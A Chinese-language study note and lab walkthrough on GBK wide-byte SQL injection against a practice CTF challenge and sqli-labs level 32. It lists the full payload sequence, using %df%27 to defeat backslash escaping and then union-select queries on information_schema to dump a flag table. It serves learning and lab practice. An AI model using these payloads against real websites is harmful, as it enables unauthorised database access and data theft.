宽字节注入学习笔记
前言
这周学习sql注入,做笔记记录一下
一、什么是宽字节注入?
二、练习
题目链接:
http://chinalover.sinaapp.com/SQL-GBK/
sqli-labs 第32关(没有搭建的话可以去buuctf找basic中的sqli-labs)[这个可以配合理解,自行操作效果极佳]
随便输个id
尝试用单引号闭合
发现‘ ‘ ’(单引号)转变成了‘ \’ ’(反斜杠+单引号)
那就结合今天所学知识进行操作
首先利用order by 语句进行查询
?id=0%df%27 order by 1%23
结果如下:
?id=0%df%27 order by 2%23
结果如下:
?id=0%df%27 order by 3%23
结果如下:
3的话出现报错说明只有2个字段
接着利用union select语句查询数据库
?id=0%df%27 union select 1,database()%23
结果如下:
有了数据库名之后接着往下查
?id=0%df%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()%23
结果如下:
接着查ctf4(其余几个有兴趣也可以查一下看看,给出ctf4是因为里边有flag)
这里给ctf4转为了16进制(记得在前边加上0x)
?id=0%df%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=0x63746634%23
结果如下:
看到了flag
继续查
?id=0%df%27%20union%20select%201,group_concat(flag)%20from ctf4%23
也可以这样查
?id=0%df%27%20union select 1,(select flag from ctf4)%23
结果如下:
这样就找到flag了
今天的记录就到这里啦